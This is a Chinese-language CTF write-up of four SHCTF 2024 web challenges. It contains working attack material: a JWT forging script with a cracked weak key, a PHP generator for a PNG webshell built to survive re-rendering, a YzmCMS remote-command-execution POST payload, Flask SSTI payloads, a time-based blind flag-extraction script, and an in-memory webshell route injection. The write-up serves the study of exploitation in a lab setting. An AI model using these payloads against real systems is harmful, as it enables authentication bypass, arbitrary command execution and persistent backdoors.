SHctf2024部分复现:

week2:登陆验证

描述:

1
他们都说jwt不安全,那我拿个密钥加密不就行了,你又不知道密钥是多少。什么? 你说可以爆破出来? 666666!

登陆页面登录后:

发现可疑token:SHctf复现2024.md

1
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mjg4Mzg3MzIsImlhdCI6MTcyODgzMTUzMiwibmJmIjoxNzI4ODMxNTMyLCJyb2xlIjoidXNlciJ9.VGA6D757VurbD0RD4CS16PZOQ6jYfVowaAVT87h3NCY

https://jwt.io/:

image-20241027190456071

能看到role处是user,根据题目描述基本可以知道改为admin即可成为”真正的admin”

但这个token的加密是有密钥的,根据题目描述”666666”得知要爆破6位,优先考虑弱口令

用这个来jwt爆破

https://github.com/lmammino/jwt-cracker

image-20241027201523549

基本就是这样的:获取密码,改东西上传就有flag了。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import jwt
# payload
token_dict = {
"exp": 1729778616,
"iat": 1729771416,
"nbf": 1729771416,
"role": "admin"
}
headers = {
"alg": "HS256",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效载体
"222333", # 进行加密签名的密钥
algorithm="none", # 指明签名算法方式, 默认也是HS256
headers=headers
# json web token 数据结构包含两部分, payload(有效载体), headers(标头)
)

print(jwt_token)

week2:拜师之旅·番外

考查PNG文件上传二次渲染

当上传一张图片成功后,查看图片可以发现是通过GET传文件路径来显示的,考虑存在include包含

并且根据题目描述尝试下载图片回来对比会发现上传与下载的图片数据不一致,存在二次渲染

此时需要构造一张不被渲染掉的png图片马,这里借用了网上的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); //要修改的图片的路径

/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>

将构造好的图片马上传,并在查看图片页面进行命令执行

GET :靶机地址/?image=/upload/293146324.png&0=system

发布:1=tac /f*

执行一次后再重新下载图片回来即可得到回显

image-20241027202934731

直接出了

[Week3] 小小cms:

YzmCMS 的pay接口调用了 db_pdo类的wheremethods 导致了远程命令执行漏洞,未经身份验证的远程攻击者可利用此漏洞执行任意系统指令,写入后门文件,最终可获取服务器权限。YzmCMS 的pay接口调用了 db_pdo类的wheremethods 导致了远程命令执行漏洞,未经身份验证的远程攻击者可利用此漏洞执行任意系统指令,写入后门文件,最终可获取服务器权限。

image-20241027203357867

POST:

1
out_trade_no[0]=eq&out_trade_no[1]=cat /flag&out_trade_no[2]=system

week3:love_flask

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@app.route('/')
def pretty_input():
return render_template_string(html_template)
@app.route('/namelist', methods=['GET'])
def name_list():
name = request.args.get('name')

template = '<h1>Hi, %s.</h1>' % name
rendered_string = render_template_string(template)
if rendered_string:
return 'Success Write your name to database'
else:
return 'Error'
if
name
== '
__main__
':
app.run(port=8080)

关键词:template ——–> sstI

没有return , 但是没有任何的过滤

但是不出网,不回显,做不了一点

不回显可以反弹shell,不出网不回显就不知道了,

wp有两种方法:

一种是盲注,因为渲染失败会返回500,所以可以先爆出eval

1
/namelist?name={{().__class__.__base__.__subclasses__()[{{int(100-200)}}].__init__.__globals__['__builtins__']['eval']('__import__("time").sleep(3)')}}

图片

接着通过构造延时来爆flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
flag ='SHCTF{'
table = '-ABCDEFabcdef0123456789'
url = 'http://210.44.150.15:25528/namelist?name='
for len in range(7,43):
for i in table:
ii = flag +i
start_time = time.time()
data = "{{"+"().__class__.__base__.__subclasses__()[100].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"if [ $(head -c {} /flag) = {} ]; then sleep 2; fi\").read()')".format(len,ii) +"}}"
#print(data)
url1 = url + data
r = requests.get(url1)
end_time = time.time()
response_time = end_time - start_time
if response_time >= 2:
flag = flag +i
print(flag)
else:
continue
print(flag+'}')

第二种

内存马

https://xz.aliyun.com/t/10933?time__1311=CqjxRQiQqQqqlxGg6QGCDcmQD80rdDCbAeD

内存马无需上传文件也不生成文件。内存马通过动态注册一个路由来作为执行命令参数的入口。{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

图片

内存马看了一下,出了最后两句,其他的还是很好理解的,就是新增了一个

路由,进行了命令执行,很神奇